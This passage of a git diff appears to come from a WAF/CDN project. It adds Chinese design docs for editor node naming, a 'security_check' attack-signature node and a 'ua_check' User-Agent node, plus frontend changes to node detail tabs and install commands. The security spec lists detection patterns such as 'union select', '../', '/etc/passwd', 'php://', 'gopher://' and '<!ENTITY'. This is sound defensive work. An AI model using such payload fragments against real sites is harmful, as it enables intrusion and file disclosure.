- 控件:`Input`,受控绑定 `node.label ?? ''`
|
||||
- 变更:`onChange({ ...node, label: value })`;清空时写 `''` 或去掉字段(实现任选其一,保存序列化时不落空 label)
|
||||
|
||||
系统节点保持现有文案。
|
||||
|
||||
### 节点库与添加(`node-library.tsx` + `rule-flow-canvas.tsx`)
|
||||
|
||||
1. 节点库项设为 `draggable`,`dragstart` 写入节点类型(如 `application/openflare-waf-node` 或等价自定义 MIME + `text/plain` 回退)。
|
||||
2. 移除 `onClick` → `onAdd(type)` 的点击添加路径。
|
||||
3. React Flow 画布容器:
|
||||
- `onDragOver`:`preventDefault`,允许 drop
|
||||
- `onDrop`:读取类型 → `screenToFlowPosition({ x: clientX, y: clientY })` → 创建节点(默认 config 逻辑与现有 `addNode` 相同,但 `position` 为落点)
|
||||
4. 落点后选中新节点,清除边选中(与现有一致)。
|
||||
5. 工具栏仍在画布左上角浮动区域,仅改为拖源,不改为侧栏。
|
||||
|
||||
## 实现落点(文件)
|
||||
|
||||
| 文件 | 变更 |
|
||||
|------|------|
|
||||
| `frontend/lib/services/openflare/types.ts` | `WAFRuleNode` 增加 `label?` |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/rule-node.tsx` | 标题显示逻辑 |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/node-properties.tsx` | 「显示名称」字段 |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/node-library.tsx` | 拖放源,去掉点击添加 |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/rule-flow-canvas.tsx` | drop 落点创建;`addNode` 接受 position |
|
||||
| 相关 `*.test.tsx` / `*.test.ts` | label 展示/编辑、拖放 payload、落点 |
|
||||
|
||||
可选:若序列化路径有显式字段白名单,确认 `label` 会进入保存 payload。
|
||||
|
||||
## 错误与边界
|
||||
|
||||
- 未知 / 非法 drag type:忽略 drop。
|
||||
- 落在画布外:不创建。
|
||||
- 超长 `label`:依赖后端既有图大小/字段限制;前端可不设硬上限,或与常见 Input 一致(如 64–128 字符)——实现阶段若后端有明确上限则对齐。
|
||||
- Undo/脏检查:`label` 与 `position` 变更走现有 `onGraphChange` 路径,不新增独立历史机制。
|
||||
|
||||
## 测试要点
|
||||
|
||||
1. 有 `label` 的节点主标题为自定义名;无 `label` 为类型默认名。
|
||||
2. 属性栏修改 `label` 后 graph 节点更新且画布同步。
|
||||
3. 节点库项可拖;drop 后节点 `position` 接近 flow 坐标(允许测试中 mock `screenToFlowPosition`)。
|
||||
4. 不再通过点击节点库按钮创建节点(无 click-add 行为)。
|
||||
5. 系统节点属性栏仍无「显示名称」。
|
||||
|
||||
## 验收标准
|
||||
|
||||
- [ ] 可编辑节点可命名,保存再打开名称仍在。
|
||||
- [ ] 画布显示自定义名(空则类型名)。
|
||||
- [ ] 仅拖放添加,松手位置为节点位置。
|
||||
- [ ] 无后端 API / schema 变更;`make code-check` 与相关 vitest 通过。
|
||||
@@ -0,0 +1,191 @@
|
||||
# WAF 规则节点:安全防护(security_check)
|
||||
|
||||
日期:2026-07-19
|
||||
范围:WAF 编排图新节点 `security_check`(控制面校验/编译 + 边缘 Lua 特征检测 + 前端编辑器)
|
||||
状态:已确认,待实现
|
||||
|
||||
## 背景
|
||||
|
||||
现有节点覆盖 IP / 地域 / UA / PoW,缺少请求载荷侧的基础攻击特征检测。产品需要在图中提供可编排的「安全防护」单元:多项基础规则可开关,**命中任意已启用规则返回 false**。
|
||||
|
||||
检测深度采用 **Lua 内置特征规则**(非 ModSecurity/CRS),能拦截常见扫描与明显 payload,允许有限误报/漏报。
|
||||
|
||||
## 目标
|
||||
|
||||
1. 新增 match 型节点 **`security_check`**,句柄 `true` / `false`。
|
||||
2. 属性栏分组:**安全防护**说明 + **基础防护** 9 项 Switch。
|
||||
3. 语义:**任一已启用规则命中 → false**;全部未命中 → true。
|
||||
4. 默认仅开启误报较低的两项:**路径穿越**、**文件包含**;其余默认关闭。
|
||||
|
||||
## 非目标(v1)
|
||||
|
||||
- ModSecurity / OWASP CRS / libinjection 完整引擎
|
||||
- 响应侧 XSS 检测、机器学习
|
||||
- 自定义规则上传 / 严重级别评分 / 命中日志字段(可后续加)
|
||||
- 无限制大 Body 全量扫描
|
||||
|
||||
## 节点模型
|
||||
|
||||
### 类型
|
||||
|
||||
| 字段 | 值 |
|
||||
|------|-----|
|
||||
| `type` | `security_check` |
|
||||
| 句柄 | `true`, `false` |
|
||||
| 可删除 / 可命名 / 可拖放 | 是 |
|
||||
|
||||
### Config
|
||||
|
||||
```json
|
||||
{
|
||||
"sql_injection": false,
|
||||
"path_traversal": true,
|
||||
"command_injection": false,
|
||||
"xss": false,
|
||||
"ssrf": false,
|
||||
"file_inclusion": true,
|
||||
"malicious_upload": false,
|
||||
"xxe": false,
|
||||
"crlf_injection": false
|
||||
}
|
||||
```
|
||||
|
||||
| 字段 | 默认 | UI 文案 | 检测面(v1) |
|
||||
|------|------|---------|--------------|
|
||||
| `sql_injection` | false | SQL 注入 | Query、Cookie、Referer、Body |
|
||||
| `path_traversal` | **true** | 路径穿越防护 | Path(`uri`)、Query、Body |
|
||||
| `command_injection` | false | 命令注入 | Query、Cookie、Referer、Body |
|
||||
| `xss` | false | XSS | Query、Cookie、Referer、Body |
|
||||
| `ssrf` | false | SSRF | Query、Cookie、Referer、Body 中 URL 形态 |
|
||||
| `file_inclusion` | **true** | 文件包含(LFI/RFI) | Path(`uri`)、Query、Body |
|
||||
| `malicious_upload` | false | 恶意文件上传 | Multipart Body |
|
||||
| `xxe` | false | XXE | Body(Content-Type 含 xml 时) |
|
||||
| `crlf_injection` | false | CRLF 注入 | Query、Cookie、Referer、Body |
|
||||
|
||||
全部关闭时:节点恒 **true**(空操作),合法。
|
||||
|
||||
## 求值语义
|
||||
|
||||
```
|
||||
inputs := collect_inspection_strings(request) // 见下
|
||||
for each enabled rule:
|
||||
if rule_matches(rule, inputs) → return false
|
||||
return true
|
||||
```
|
||||
|
||||
- **false** = 命中攻击特征(接阻止)
|
||||
- **true** = 未命中(接通过或其它节点)
|
||||
|
||||
### 采集与限制
|
||||
|
||||
| 来源 | 方式 |
|
||||
|------|------|
|
||||
| Path | 仅 `ngx.var.uri`(不重复扫完整 `request_uri`,避免与 Query 双计),URL 解码(含常见双重编码路径变体) |
|
||||
| Query | `get_uri_args` 键与值(仅当已启用规则需要 Query) |
|
||||
| Header | **不**扫描通用浏览器头(UA / Accept 等);注入类仅采 **Cookie、Referer** |
|
||||
| Cookie | `ngx.var.http_cookie` |
|
||||
| Body | 仅当已启用规则需要 Body 且 `Content-Length` > 0 且 ≤ **65536**;GET/零长度不 `read_body` |
|
||||
|
||||
Body 读取失败:跳过 Body 类检测并限频 warn(可用性优先,不 fail-closed 整图)。
|
||||
|
||||
### 规则特征方向(v1 模式包)
|
||||
|
||||
实现以可维护的模式表为准,下表为方向约束:
|
||||
|
||||
1. **SQL 注入**:`union select`、`or 1=1`、`sleep(`、`benchmark(`、注释符、十六进制/char 拼接等
|
||||
2. **路径穿越**:`../`、`..\\`、`%2e%2e`、`%252e`、绝对路径探测
|
||||
3. **命令注入**:`;` `|` `` ` `` `$()` 结合 shell 关键字、换行拼接
|
||||
4. **XSS**:`<script`、`javascript:`、事件处理器 `onerror=` 等
|
||||
5. **SSRF**:内网 IP、`localhost`、`169.254.`、`file://`、`gopher://`、`dict://`
|
||||
6. **文件包含**:`php://`、`file://`、`/etc/passwd`、`%00` 等(可与路径穿越重叠)
|
||||
7. **恶意上传**:multipart 文件名双扩展、危险扩展、可疑 Content-Type
|
||||
8. **XXE**:`<!ENTITY`、`SYSTEM`、外部实体(仅 XML 类 Content-Type)
|
||||
9. **CRLF**:`%0d%0a`、裸 `\r\n` 注入特征
|
||||
|
||||
模式在 worker 内缓存;大小写不敏感(除明确大小写敏感的协议串)。
|
||||
|
||||
## 控制面
|
||||
|
||||
### `graph_types.go`
|
||||
|
||||
- `RuleNodeSecurityCheck = "security_check"`
|
||||
- `SecurityCheckConfig` 九个 `bool` 字段(JSON snake_case 如上)
|
||||
|
||||
### `graph_validate.go`
|
||||
|
||||
- `requiredHandles`: `true`, `false`
|
||||
- 严格 JSON;仅允许已知布尔字段
|
||||
|
||||
### `graph_compile.go`
|
||||
|
||||
- 原样编译布尔字段进运行时配置
|
||||
|
||||
### 测试
|
||||
|
||||
- 合法全关 / 默认子集 / 全开
|
||||
- 未知字段拒绝
|
||||
- 编译保留默认
|
||||
|
||||
## 数据面
|
||||
|
||||
### `waf_runtime.lua`
|
||||
|
||||
```lua
|
||||
elseif node.type == "security_check" then
|
||||
handle = matches_security_check(node.config or {}) and "true" or "false"
|
||||
```
|
||||
|
||||
`matches_security_check` 返回 **true 表示安全通过**(未命中),与 `ip_match` 的「条件成立」命名不同,但句柄语义与产品一致:命中攻击 → 走 `false` 边。
|
||||
|
||||
建议将模式表与匹配函数放在同文件或 `waf/security.lua`(若体积过大再拆,并在 `waf_assets.go` 嵌入)。
|
||||
|
||||
### `waf_runtime_spec.lua`
|
||||
|
||||
覆盖:默认配置拦路径穿越;全关放行;SQL/XSS 样例;Body 超限不炸;multipart 文件名危险扩展(若开启)。
|
||||
|
||||
## 前端
|
||||
|
||||
| 文件 | 变更 |
|
||||
|------|------|
|
||||
| `types.ts` | `security_check` + `SecurityCheckConfig` |
|
||||
| `node-factory.ts` | 默认:path_traversal+file_inclusion true,其余 false |
|
||||
| `node-library.tsx` | 「安全防护」+ 图标 |
|
||||
| `rule-node.tsx` | `true`/`false` handles |
|
||||
| `node-properties.tsx` | 显示名称;分组说明 + 9 Switch(问号 Tooltip) |
|
||||
| `graph-validation.ts` / `editor-behavior.ts` | handles |
|
||||
|
||||
### 属性栏草图
|
||||
|
||||
```
|
||||
显示名称
|
||||
── 安全防护 ──
|
||||
命中任意已启用规则返回 False [?]
|
||||
── 基础防护 ──
|
||||
[Switch] 路径穿越防护 [?]
|
||||
[Switch] 文件包含(LFI/RFI) [?]
|
||||
[Switch] SQL 注入 [?]
|
||||
...
|
||||
```
|
||||
|
||||
Tooltip 文案包含检测面与简要说明(与产品表一致)。
|
||||
|
||||
## 文档
|
||||
|
||||
- 更新 `docs/design/waf-orchestration-design.md` 节点表
|
||||
- `docs/changelog/index.md` `[Unreleased]`
|
||||
|
||||
## 验收标准
|
||||
|
||||
- [ ] 可拖入并配置 9 开关,默认仅路径穿越+文件包含
|
||||
- [ ] 保存/发布后 Agent 执行;命中 → false 边;未命中 → true
|
||||
- [ ] 全关恒 true
|
||||
- [ ] Lua/Go/前端相关测试与 `make code-check` 通过
|
||||
|
||||
## 风险
|
||||
|
||||
| 风险 | 缓解 |
|
||||
|------|------|
|
||||
| 误报 | 默认仅开低误报两项;模式偏保守 |
|
||||
| 漏报 | 文档标明特征检测边界;后续可加强模式 |
|
||||
| Body 性能 | 64KiB 上限;未启用 Body 规则不读 Body |
|
||||
| 与路径/包含重叠 | 允许重叠;任一命中即 false |
|
||||
@@ -0,0 +1,228 @@
|
||||
# WAF 规则节点:UA 检查(ua_check)
|
||||
|
||||
日期:2026-07-19
|
||||
范围:WAF 编排图新节点 `ua_check`(控制面校验/编译 + 边缘 Lua 运行时 + 前端编辑器)
|
||||
状态:已确认,待实现
|
||||
|
||||
## 背景
|
||||
|
||||
访问日志概览已按 User-Agent 分类浏览器与操作系统(`internal/repository/analytics/browser.go`),但 WAF 规则图尚无基于 UA 的分支节点。运营需要在图中:
|
||||
|
||||
1. 要求请求必须携带 UA;
|
||||
2. 按浏览器 / 操作系统做白名单匹配(and/or 可配);
|
||||
3. 优先屏蔽常见爬虫与非正常 UA。
|
||||
|
||||
## 目标
|
||||
|
||||
- 新增 match 型节点 **`ua_check`**,输出 `true` / `false` 句柄(与 `ip_match` / `geo_match` 一致)。
|
||||
- 属性栏交互与产品草图对齐:开启 UA 检查、匹配多选、屏蔽开关。
|
||||
- 边缘分类标签与访问日志概览一致(同一套 token 规则)。
|
||||
- 屏蔽逻辑优先级高于白名单匹配。
|
||||
|
||||
## 非目标
|
||||
|
||||
- 设备类型(Mobile/Tablet)维度。
|
||||
- 原始 UA 正则 / 自由子串列表(PoW 列表已有,不并入本节点)。
|
||||
- 在 Server 请求路径上执行 WAF 图(仍仅 Agent OpenResty)。
|
||||
- 将 analytics 包直接 import 到 Agent(边缘用 Lua 复刻规则;Go 侧用同一规则表做校验与单测对拍)。
|
||||
|
||||
## 节点模型
|
||||
|
||||
### 类型
|
||||
|
||||
| 字段 | 值 |
|
||||
|------|-----|
|
||||
| `type` | `ua_check` |
|
||||
| 句柄 | `true`, `false` |
|
||||
| 可删除 | 是 |
|
||||
| 可命名 | 是(`label`) |
|
||||
| 可拖放添加 | 是 |
|
||||
|
||||
### Config(JSON)
|
||||
|
||||
```json
|
||||
{
|
||||
"require_ua": false,
|
||||
"browsers": [],
|
||||
"operating_systems": [],
|
||||
"match_mode": "or",
|
||||
"block_common_bots": false,
|
||||
"block_abnormal_ua": false,
|
||||
"block_custom_ua": false,
|
||||
"custom_ua_patterns": []
|
||||
}
|
||||
```
|
||||
|
||||
| 字段 | 类型 | 说明 |
|
||||
|------|------|------|
|
||||
| `require_ua` | bool | 开启后:请求头无 UA(空 / 仅空白)→ **false** |
|
||||
| `browsers` | string[] | 白名单浏览器标签;空表示不限制浏览器 |
|
||||
| `operating_systems` | string[] | 白名单操作系统标签;空表示不限制 OS |
|
||||
| `match_mode` | `"and"` \| `"or"` | **浏览器条件与 OS 条件**之间的组合;默认 `"or"` |
|
||||
| `block_common_bots` | bool | 屏蔽常见爬虫:分类 browser 或 os 为 `Bot` → **false** |
|
||||
| `block_abnormal_ua` | bool | 屏蔽非正常 UA:browser ∈ `{Other, Unknown}`(**不含** Bot/搜索引擎爬虫)→ **false** |
|
||||
| `block_custom_ua` | bool | 屏蔽自定义 UA:原始 UA 命中 `custom_ua_patterns` 任一条 → **false** |
|
||||
| `custom_ua_patterns` | string[] | 正则列表(边缘为 Lua 模式);开启 `block_custom_ua` 时至少一条 |
|
||||
|
||||
默认值:开关全 `false`,列表空,`match_mode: "or"`。
|
||||
|
||||
### 允许的标签(封闭枚举)
|
||||
|
||||
与 `ParseBrowserName` / `ParseOSName` 输出对齐:
|
||||
|
||||
**browsers:**
|
||||
`Chrome`, `Safari`, `Firefox`, `Edge`, `Opera`, `Chromium`, `WeChat`, `Postman`, `CLI`, `Bot`, `Unknown`, `Other`
|
||||
|
||||
**operating_systems:**
|
||||
`Android`, `iOS`, `Windows`, `macOS`, `Chrome OS`, `Linux`, `Bot`, `Unknown`, `Other`
|
||||
|
||||
校验:列表元素必须属于上表;重复项编译时去重排序;未知字符串拒绝保存。
|
||||
|
||||
## 求值语义(边缘)
|
||||
|
||||
输入:`ua = http_user_agent`(trim 后判断空)。
|
||||
分类:`browser = ParseBrowserName(ua)`,`os = ParseOSName(ua)`(空 UA → 二者均为 `Unknown`,与 analytics 一致)。
|
||||
|
||||
**严格顺序:**
|
||||
|
||||
```
|
||||
1) if require_ua and ua 为空 → false
|
||||
2) browser, os := classify(ua)
|
||||
3) if block_common_bots and (browser == "Bot" or os == "Bot") → false
|
||||
4) if block_abnormal_ua and browser in {"Other","Unknown"} → false
|
||||
5) if block_custom_ua and UA matches any custom_ua_patterns → false
|
||||
6) has_browsers := browsers 非空; has_os := operating_systems 非空
|
||||
7) if not has_browsers and not has_os → true
|
||||
8) browser_hit := browser ∈ browsers; os_hit := os ∈ operating_systems
|
||||
9) if has_browsers and not has_os → browser_hit
|
||||
10) if has_os and not has_browsers → os_hit
|
||||
11) if both lists set:
|
||||
match_mode == "and" → browser_hit and os_hit
|
||||
match_mode == "or" → browser_hit or os_hit
|
||||
```
|
||||
|
||||
说明:
|
||||
|
||||
- **屏蔽优先于匹配**:步骤 3–5 在白名单之前。
|
||||
- **未配置匹配列表**:步骤 6 直接 true(仅受 require / block 约束)。
|
||||
- **仅一侧列表有值**:只校验该侧是否命中;`match_mode` 仅在两侧都有值时生效。
|
||||
- 节点本身不 allow/block,仅选句柄;下游连线决定动作。
|
||||
|
||||
### 示例
|
||||
|
||||
| 配置摘要 | 请求 | 结果 |
|
||||
|----------|------|------|
|
||||
| 仅 `require_ua` | 无 UA | false |
|
||||
| 仅 `require_ua` | 正常 Chrome | true |
|
||||
| `block_common_bots` | Googlebot | false |
|
||||
| `block_abnormal_ua` | 无法识别 UA | false |
|
||||
| browsers=`[Chrome]`, mode=or | Safari | false |
|
||||
| browsers=`[Chrome]`, os=`[iOS]`, mode=and | Chrome Desktop | false(os 未命中) |
|
||||
| browsers=`[Chrome]`, os=`[iOS]`, mode=or | Chrome Desktop | true |
|
||||
| 列表皆空,无 block | 任意有 UA | true |
|
||||
|
||||
## 分类规则来源
|
||||
|
||||
权威实现(analytics):`internal/repository/analytics/browser.go` 中 `browserRules` / `osRules`。
|
||||
|
||||
实现要求:
|
||||
|
||||
1. **Lua 运行时**复刻相同 token 顺序与 `contains` / `noneOf` 语义(lower-case 子串)。
|
||||
2. **Go 单测**用同一批样例 UA 对拍 `ParseBrowserName` / `ParseOSName` 与 Lua 或共享测试表,防止漂移。
|
||||
3. 不强制本迭代抽取共享包;若抽取,须保持 analytics 与 WAF 行为不变。
|
||||
|
||||
## 控制面
|
||||
|
||||
### `graph_types.go`
|
||||
|
||||
- `RuleNodeUACheck RuleNodeType = "ua_check"`
|
||||
- `UACheckConfig` 结构体对应上表 JSON 字段
|
||||
|
||||
### `graph_validate.go`
|
||||
|
||||
- `requiredHandles`: `true`, `false`
|
||||
- `validateUACheckNodeConfig`:
|
||||
- `match_mode` 仅 `and`/`or`(缺省按 `or` 或拒绝非法值)
|
||||
- browsers / OS 标签 ∈ 封闭枚举
|
||||
- 布尔字段默认 false
|
||||
- `DisallowUnknownFields`
|
||||
|
||||
### `graph_compile.go`
|
||||
|
||||
- 编译进 `RuntimeRuleNode`,列表 `sortedUniqueStrings`
|
||||
- 规范化 `match_mode`(非法不得编译成功)
|
||||
|
||||
### 测试
|
||||
|
||||
- validate:合法配置、非法标签、非法 mode、缺句柄
|
||||
- compile:列表排序去重、默认值
|
||||
|
||||
## 数据面(Agent)
|
||||
|
||||
### `waf_runtime.lua`
|
||||
|
||||
在 `execute_graph` 增加:
|
||||
|
||||
```lua
|
||||
elseif node.type == "ua_check" then
|
||||
handle = matches_ua_check(node.config) and "true" or "false"
|
||||
```
|
||||
|
||||
实现 `matches_ua_check` + 本地 classify 函数;读取 `ngx.var.http_user_agent`。
|
||||
|
||||
### `waf_runtime_spec.lua`
|
||||
|
||||
覆盖:空 UA + require;bot 屏蔽;abnormal;whitelist and/or;列表空;损坏边 fail-closed。
|
||||
|
||||
## 前端编辑器
|
||||
|
||||
| 文件 | 变更 |
|
||||
|------|------|
|
||||
| `types.ts` | `ua_check` 变体 + `UACheckConfig` |
|
||||
| `node-factory.ts` | 标签「UA 检查」、默认 config、`AddableNodeType` |
|
||||
| `node-library.tsx` | 拖放项 |
|
||||
| `rule-node.tsx` | 图标 + `true`/`false` handles |
|
||||
| `node-properties.tsx` | 属性 UI(见下) |
|
||||
| `graph-validation.ts` | handles + 标签/mode 校验 |
|
||||
| `editor-behavior.ts` | connection handles |
|
||||
|
||||
### 属性栏布局
|
||||
|
||||
```
|
||||
显示名称
|
||||
── UA 检查 ──
|
||||
[Switch] 开启 UA 检查
|
||||
说明:开启后如果请求头不携带 UA 返回 False
|
||||
── UA 匹配 ──
|
||||
匹配模式 Select: 或(or) / 且(and)
|
||||
浏览器 MultiSelect(封闭枚举)
|
||||
操作系统 MultiSelect(封闭枚举)
|
||||
── 屏蔽 ──
|
||||
说明:命中返回 false,优先级高于匹配
|
||||
[Switch] 屏蔽常见爬虫 UA
|
||||
[Switch] 屏蔽非正常 UA
|
||||
```
|
||||
|
||||
前端选项列表写死与封闭枚举一致;展示可用中文副标题,**写入 config 的值必须是英文标签**(与 analytics / 边缘一致)。
|
||||
|
||||
## 文档
|
||||
|
||||
- 更新 `docs/design/waf-orchestration-design.md` 节点表(中文)。
|
||||
- `docs/changelog/index.md` `[Unreleased]` 增加用户向说明。
|
||||
- 纯设计文档不写 changelog 以外的英文同步。
|
||||
|
||||
## 验收标准
|
||||
|
||||
- [ ] 编辑器可拖入 `ua_check`,配置保存再打开一致。
|
||||
- [ ] 图校验拒绝非法标签与非法 `match_mode`。
|
||||
- [ ] 发布后 Agent Lua 按求值顺序分支;spec 全绿。
|
||||
- [ ] 样例 UA 分类与访问日志 `ParseBrowserName`/`ParseOSName` 一致。
|
||||
- [ ] `make code-check` 与相关 Go/前端/Lua 测试通过。
|
||||
|
||||
## 风险与缓解
|
||||
|
||||
| 风险 | 缓解 |
|
||||
|------|------|
|
||||
| Go/Lua 分类漂移 | 共享样例表单测对拍 |
|
||||
| 「非正常」过严误伤 | 产品定义为 Bot/Other/Unknown;可关 switch |
|
||||
| 白名单 + or 过宽 | UI 说明 and/or;默认 or 且列表空不限制 |
|
||||
@@ -37,6 +37,7 @@ import type {
|
||||
import { NodeService } from '@/lib/services/openflare';
|
||||
|
||||
import { AgentUpdateDialog } from './agent-update-dialog';
|
||||
import { InstallCommand } from './install-command';
|
||||
import { NodeDetailShell } from './node-detail-shell';
|
||||
import {
|
||||
NodeErrorBanner,
|
||||
@@ -199,7 +200,7 @@ export function EdgeNodeDetail({ node }: { node: NodeItem }) {
|
||||
</>
|
||||
);
|
||||
|
||||
const overviewTab = (
|
||||
const manageTab = (
|
||||
<div className='space-y-6'>
|
||||
{node.last_error ? <NodeErrorBanner message={node.last_error} /> : null}
|
||||
|
||||
@@ -277,32 +278,8 @@ export function EdgeNodeDetail({ node }: { node: NodeItem }) {
|
||||
</div>
|
||||
</NodeSectionCard>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
const manageTab = (
|
||||
<div className='space-y-6'>
|
||||
<NodeSectionCard
|
||||
title='节点标识'
|
||||
description='用于 Agent 接入与鉴别的核心字段'
|
||||
>
|
||||
<div className='divide-y'>
|
||||
<NodeInfoRow label='节点 ID'>
|
||||
<span className='font-mono text-xs break-all'>{node.node_id}</span>
|
||||
</NodeInfoRow>
|
||||
<NodeInfoRow label='Agent Token'>
|
||||
<span className='font-mono text-xs break-all'>
|
||||
{node.access_token || '暂无'}
|
||||
</span>
|
||||
</NodeInfoRow>
|
||||
<NodeInfoRow label='创建时间'>
|
||||
{formatDateTime(node.created_at)}
|
||||
</NodeInfoRow>
|
||||
<NodeInfoRow label='更新时间'>
|
||||
{formatDateTime(node.updated_at)}
|
||||
</NodeInfoRow>
|
||||
</div>
|
||||
</NodeSectionCard>
|
||||
<InstallCommand node={node} variant='edge' />
|
||||
|
||||
<NodeSectionCard
|
||||
title='运行消息'
|
||||
@@ -361,8 +338,7 @@ export function EdgeNodeDetail({ node }: { node: NodeItem }) {
|
||||
icon: Activity,
|
||||
},
|
||||
]}
|
||||
overview={overviewTab}
|
||||
dashboard={
|
||||
overview={
|
||||
<NodeObservability
|
||||
nodeId={node.id}
|
||||
node={node}
|
||||
|
||||
@@ -18,6 +18,7 @@ import { Label } from '@/components/ui/label';
|
||||
import { type NodeItem, StatusService } from '@/lib/services/openflare';
|
||||
|
||||
import {
|
||||
buildEdgeDockerInstallCommand,
|
||||
buildRelayDockerInstallCommand,
|
||||
buildRelayInstallCommand,
|
||||
buildTunnelDockerInstallCommand,
|
||||
@@ -25,7 +26,7 @@ import {
|
||||
getServerUrl,
|
||||
} from './node-utils';
|
||||
|
||||
type InstallVariant = 'relay' | 'tunnel';
|
||||
type InstallVariant = 'edge' | 'relay' | 'tunnel';
|
||||
|
||||
const variantMeta: Record<
|
||||
InstallVariant,
|
||||
@@ -33,10 +34,16 @@ const variantMeta: Record<
|
||||
title: string;
|
||||
description: string;
|
||||
tokenLabel: string;
|
||||
scriptLabel: string;
|
||||
scriptLabel?: string;
|
||||
dockerLabel: string;
|
||||
}
|
||||
> = {
|
||||
edge: {
|
||||
title: '边缘节点部署',
|
||||
description: '使用 Agent Token 将边缘节点接入控制端。',
|
||||
tokenLabel: 'Agent Token',
|
||||
dockerLabel: 'Docker 容器部署',
|
||||
},
|
||||
relay: {
|
||||
title: '中继部署命令',
|
||||
description: '使用 Discovery Token 将 frps 中继节点接入控制端。',
|
||||
@@ -79,7 +86,7 @@ export function InstallCommand({
|
||||
|
||||
const normalizedServerUrl = getServerUrl(serverUrl);
|
||||
const scriptCommand = useMemo(() => {
|
||||
if (!normalizedServerUrl || !node.access_token) {
|
||||
if (!normalizedServerUrl || !node.access_token || variant === 'edge') {
|
||||
return '';
|
||||
}
|
||||
return variant === 'relay'
|
||||
@@ -91,6 +98,13 @@ export function InstallCommand({
|
||||
if (!normalizedServerUrl || !node.access_token) {
|
||||
return '';
|
||||
}
|
||||
if (variant === 'edge') {
|
||||
return buildEdgeDockerInstallCommand(
|
||||
normalizedServerUrl,
|
||||
node.access_token,
|
||||
serverVersion,
|
||||
);
|
||||
}
|
||||
return variant === 'relay'
|
||||
? buildRelayDockerInstallCommand(
|
||||
normalizedServerUrl,
|
||||
@@ -190,12 +204,14 @@ export function InstallCommand({
|
||||
</p>
|
||||
) : (
|
||||
<>
|
||||
<div className='space-y-2'>
|
||||
<p className='text-sm font-medium'>{meta.scriptLabel}</p>
|
||||
<pre className='overflow-x-auto rounded-lg border bg-muted/40 p-3 text-xs whitespace-pre-wrap'>
|
||||
{scriptCommand}
|
||||
</pre>
|
||||
</div>
|
||||
{scriptCommand && meta.scriptLabel ? (
|
||||
<div className='space-y-2'>
|
||||
<p className='text-sm font-medium'>{meta.scriptLabel}</p>
|
||||
<pre className='overflow-x-auto rounded-lg border bg-muted/40 p-3 text-xs whitespace-pre-wrap'>
|
||||
{scriptCommand}
|
||||
</pre>
|
||||
</div>
|
||||
) : null}
|
||||
<div className='space-y-2'>
|
||||
<p className='text-sm font-medium'>{meta.dockerLabel}</p>
|
||||
<pre className='overflow-x-auto rounded-lg border bg-muted/40 p-3 text-xs whitespace-pre-wrap'>
|
||||
|
||||
@@ -14,7 +14,7 @@ import { NodeKpiCard } from './node-detail-primitives';
|
||||
import { NodeStatusBadge } from './node-status-badge';
|
||||
import type { StatusTone } from './node-utils';
|
||||
|
||||
export type NodeDetailTabId = 'overview' | 'dashboard' | 'manage';
|
||||
export type NodeDetailTabId = 'overview' | 'manage';
|
||||
|
||||
export type NodeDetailTabConfig = {
|
||||
id: NodeDetailTabId;
|
||||
@@ -33,18 +33,20 @@ const TAB_CONFIGS: NodeDetailTabConfig[] = [
|
||||
id: 'overview',
|
||||
label: '概览',
|
||||
},
|
||||
{
|
||||
id: 'dashboard',
|
||||
label: '数据看板',
|
||||
},
|
||||
{
|
||||
id: 'manage',
|
||||
label: '配置与部署',
|
||||
label: '状态与部署',
|
||||
},
|
||||
];
|
||||
|
||||
function isValidTab(value: string | null): value is NodeDetailTabId {
|
||||
return value === 'overview' || value === 'dashboard' || value === 'manage';
|
||||
function resolveTab(value: string | null): NodeDetailTabId | null {
|
||||
if (value === 'overview' || value === 'dashboard') {
|
||||
return 'overview';
|
||||
}
|
||||
if (value === 'manage') {
|
||||
return 'manage';
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export function NodeDetailShell({
|
||||
@@ -55,7 +57,6 @@ export function NodeDetailShell({
|
||||
actions,
|
||||
kpis,
|
||||
overview,
|
||||
dashboard,
|
||||
manage,
|
||||
defaultTab = 'overview',
|
||||
}: {
|
||||
@@ -66,7 +67,6 @@ export function NodeDetailShell({
|
||||
actions: ReactNode;
|
||||
kpis: NodeDetailKpi[];
|
||||
overview: ReactNode;
|
||||
dashboard: ReactNode;
|
||||
manage: ReactNode;
|
||||
defaultTab?: NodeDetailTabId;
|
||||
}) {
|
||||
@@ -76,7 +76,7 @@ export function NodeDetailShell({
|
||||
|
||||
const activeTab = useMemo(() => {
|
||||
const tab = searchParams.get('tab');
|
||||
return isValidTab(tab) ? tab : defaultTab;
|
||||
return resolveTab(tab) ?? defaultTab;
|
||||
}, [defaultTab, searchParams]);
|
||||
|
||||
const setActiveTab = useCallback(
|
||||
@@ -88,6 +88,16 @@ export function NodeDetailShell({
|
||||
[pathname, router, searchParams],
|
||||
);
|
||||
|
||||
const handleTabChange = useCallback(
|
||||
(value: string) => {
|
||||
const tab = resolveTab(value);
|
||||
if (tab) {
|
||||
setActiveTab(tab);
|
||||
}
|
||||
},
|
||||
[setActiveTab],
|
||||
);
|
||||
|
||||
return (
|
||||
<div className='py-6 px-1 space-y-6'>
|
||||
<section className='overflow-hidden rounded-2xl border bg-gradient-to-br from-card via-card to-muted/30'>
|
||||
@@ -144,11 +154,7 @@ export function NodeDetailShell({
|
||||
|
||||
<Tabs
|
||||
value={activeTab}
|
||||
onValueChange={(value) => {
|
||||
if (isValidTab(value)) {
|
||||
setActiveTab(value);
|
||||
}
|
||||
}}
|
||||
onValueChange={handleTabChange}
|
||||
className='w-full gap-0'
|
||||
>
|
||||
<div className='space-y-3 pb-1'>
|
||||
@@ -174,9 +180,6 @@ export function NodeDetailShell({
|
||||
<TabsContent value='overview' className='mt-6 outline-none'>
|
||||
{activeTab === 'overview' ? overview : null}
|
||||
</TabsContent>
|
||||
<TabsContent value='dashboard' className='mt-6 outline-none'>
|
||||
{activeTab === 'dashboard' ? dashboard : null}
|
||||
</TabsContent>
|
||||
<TabsContent value='manage' className='mt-6 outline-none'>
|
||||
{activeTab === 'manage' ? manage : null}
|
||||
</TabsContent>
|
||||
|
||||
@@ -463,7 +463,7 @@ export function NodeObservability({
|
||||
}
|
||||
hint={
|
||||
latestHealthEvent
|
||||
? `${getHealthEventLabel(latestHealthEvent)} · ${latestHealthEvent.message || '等待处理'}`
|
||||
? getHealthEventLabel(latestHealthEvent)
|
||||
: '当前没有活动中的健康事件'
|
||||
}
|
